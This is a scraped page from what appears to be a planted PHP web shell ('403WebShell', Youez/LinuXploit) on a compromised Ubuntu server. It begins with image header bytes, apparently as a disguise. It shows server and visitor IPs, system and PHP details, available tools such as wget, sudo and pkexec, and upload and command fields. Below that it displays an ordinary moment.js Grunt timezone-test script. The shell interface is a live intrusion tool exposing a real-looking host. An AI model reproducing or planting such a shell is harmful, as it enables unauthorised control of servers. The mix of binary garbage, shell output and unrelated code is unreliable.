����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.186
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/var/www/html/admin/assets/plugins/moment/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/var/www/html/admin/assets/plugins/moment/tasks/zones.js
var fs = require('fs');


module.exports = function (grunt) {
    var ZONE_TAB = '/usr/share/zoneinfo/zone.tab';

    grunt.registerTask('zones', 'Run the unit tests in different timezones.', function () {
        var done = this.async();

        getAllTimezones(function (err, zones) {
            if (err != null) {
                throw err;
            }
            (function iterator(i) {
                if (i >= zones.length) {
                    return done();
                }
                runTestsInZone(zones[i], function (err) {
                    if (err != null) {
                        throw err;
                    }
                    iterator(i+1);
                });
            }(0));
        });
    });

    function getAllTimezones (callback) {
        fs.readFile(ZONE_TAB, 'ascii', function (err, content) {
            if (err != null) {
                callback(err);
            }
            callback(null, content.split(/\r\n|\r|\n/)
                // remove empty and commented lines
                .filter(function (line) { return line && !/^#/.test(line); })
                // country code TAB coordinates TAB timezone
                .map(function (line) { return line.split('\t')[2]; }));
        });
    };

    function runTestsInZone (zone, next) {
        grunt.log.ok("Running tests in zone " + zone);
        grunt.util.spawn({
            cmd: "grunt",
            opts: { env: {
                "PATH": process.env.PATH,
                "TZ": zone
            } },
            args: ["--no-color", "nodeunit"]
        }, function (err, result, code) {
            if (code !== 0) {
                grunt.log.error(result.stdout.split(/\r\n|\r|\n/)
                    .filter(function (line) { return /^(>>|Warning:|$)/.test(line) })
                    .map(function (line) { return (line.substr(0, 3) === '>> ' ? line.substr(3) : line); })
                    .join('\n'));
            }
            next();
        });
    };
};

Youez - 2016 - github.com/yon3zu
LinuXploit